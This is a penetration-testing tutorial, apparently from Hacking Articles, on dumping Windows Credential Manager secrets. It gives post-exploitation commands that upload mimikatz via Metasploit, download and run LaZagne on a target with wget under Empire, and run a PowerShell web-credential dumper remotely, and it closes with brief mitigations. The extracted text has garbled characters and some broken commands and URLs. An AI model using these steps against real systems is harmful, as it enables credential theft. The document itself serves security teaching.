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Introduction 
In this ar�cle, we learn about dumping system creden�als by exploi�ng creden�al manager. We will 
talk about various methods today which can be used in both internal and external penetra�on 
tes�ng. 

Introduction to Credential Manager 
Creden�al Manager was introduced to Windows 7. It is like a digital vault to keep all of your 
creden�als safe. All of the creden�als are stored in a creden�als folder which you will find at this 
loca�on - %Systemdrive%\Users\<Username>\AppData\Local\Microso�\Creden�als and it is this 
folder that creden�al manager accesses. it also allows you to add, edit, delete, backup and even 
restore the passwords. 

Creden�als saved in creden�al manager are of two types: 

• Web creden�als: As Edge and widows are the product of the same company, creden�als 
manager has access to the stored informa�on of Edge browser too, in order to increase 
safekeeping of saved creden�als. It also stores the password of order applica�on provided by 
Microso� such as skype, Microso� office, etc. 

• Windows creden�als: Under this category, all the windows login creden�als can be found. 
Along with any system that is connected in the network. 

Applica�ons which are run by windows and have your creden�als saved will automa�cally be saved 
in creden�al manager. Even when you update them, change is noted by and updated in creden�al 
manager too. 

Accessing Credential Manager 
To access creden�al manager, you can simply search it up in the start menu or you can access it bu 
two of the following methods: 

• You can open control panel > user accounts > creden�al manager 

• You can also access it through the command line with the command vaultcmd and its 
parameters. 

When you connect to another system in the network as using any method like in the following 
image: 
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And while connec�ng when you provide the password and store it for later use too then these 
creden�als are saved in creden�al manager. 

 

Irrespec�ve of website and its security, when you save any password in the edge or any other 
applica�on such as skype or outlook, it’s password too gets saved in creden�al manager. For 
instance, we have stored Gmail's password in our prac�ce as shown in the image below: 



Credential Dumping: Windows Credential Manager 

 

                                                                                                 5 | P a g e  
 

 

You can confirm from the following image that the password is indeed saved. 

 

And now, when you access creden�al manager, using any method, you will find that in windows 
creden�als tab all the system, network passwords are stored. 
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And under the web creden�als tab there will be applica�on’s passwords and the passwords saved in 
edge will be saved. 
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Metasploit 
Now all these creden�als can be dumped with simple methods. Once you have a session through 
Metasploit, all you have to do is upload mimikatz and run it. Mimikatz is an amazing creden�al 
dumping tool. We have covered mimikatz in detail in one our previous ar�cles, to read that ar�cle 
click here. 

And to run mimikatz remotely through Metasploit session, use the following command: 

upload /root/Desktop/mmikatz.exe 
shell 
cd <location of the uploaded file in the target system> 
mimikatz.exe 

https://www.hackingarticles.in/understanding-guide-mimikatz/
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And once the mimikats is executed successfully, you will get creden�als from cred manager as shown 
in the image above. 

Empire 
Similarly, while using empire, you can dump the creden�als by downloading Lazagne.exe directly in 
the target system and then manipula�nthe lagazne.exe file to get all the creden�als. LaZange is on 
eof the best creden�al dumping tools. We have covered LaZagne in detail in one our previous 
ar�cles, to read that ar�cle click here. 

Use the following commands to dump the creden�als with this method : 

shell wget 
https://github.com/AlessandrZ/LaZagne/releases/download2.4.3/lazagne.exe -outfile 
lazagne.exe 
shell wget 
shell dir 
shell ./lazagne.exe all 
 

 

A�er the execu�on of commands, you can see that the passwords have been retrieved as shown in 
the following image: 

https://www.hackingarticles.in/post-exploitation-on-saved-password-with-lazagne/
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CredentialsFileView 
Our next method is using a third-party tool, i.e. creden�alfileview. This tool is very effec�ve when it 
comes to internal penetra�on tes�ng. To use this tool, simply download it and launch it. A�er 
launching itself, it will ask you for the windows password. 
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Once you provide the password, it will give you all the creden�als you need as shown in the image 
below: 



Credential Dumping: Windows Credential Manager 

 

                                                                                                 12 | P a g e  
 

 

Windows PowerShell 
This method of password dumping can prove itself useful in both internal and external pentes�ng. In 
this method, you have to run a script in windows powershell. You will find the script here. And once 
you run the script you will have all the web creden�als as shown in the image below: 
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You can also use powershell remotely to dump creden�als with the help of Metasploit. It is very 
simple as you just have to run a combina�on of following commands a�er you have your session: 

load powershell 
powershell_import /root/Get-WebCredentials.ps1 
powershell_execute Get-WebCredentials 
 

 

And just like that with the help of powershell commands, you will have the desired creden�als. 
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Mitigation 
Following are the measures you can use to keep your passwords safe: 

• DO NOT save passwords in your system, browser or any other applica�on 
• Use different passwords for every account 
• If you have trouble remembering passwords then instead of keeping them in clear text in 

your system, use an online password manager to keep them safe. 
• Use the latest version of the opera�ng system and applica�ons. 
• Manually go to the login page instead of following a link. 
• Keep firewall/defender enabled 
• Keep you employees/employers aware 

Conclusion   
As you have no�ced from our ar�cle the even though this feature of creden�al manager that is 
provided by windows is convenient, it is not secure and once the atacker has the access of your 
system then these creden�als are wai�ng to be theirs as there is no security layer added to 
creden�al manager. It is important to be aware of every feature your opera�ng system is providing 
just so you can save yourself. Hence, it is important to know how to access the creden�al manager 
and how to operate it and how it can be exploited. 

We live in a cyber ac�ve world and there are login creden�als for everything, one can’t remember 
every creden�al ever. Though creden�al manager is u�lity makes it easy for us and takes the 
responsibility of saving the passwords, but at what expense? 

We at Hacking Ar�cles want to request everyone to stay at home and self-quaran�ne yourself for the 
preven�on against the spread of the Covid-19. Take Care and be Healthy and Keep Hacking!! 
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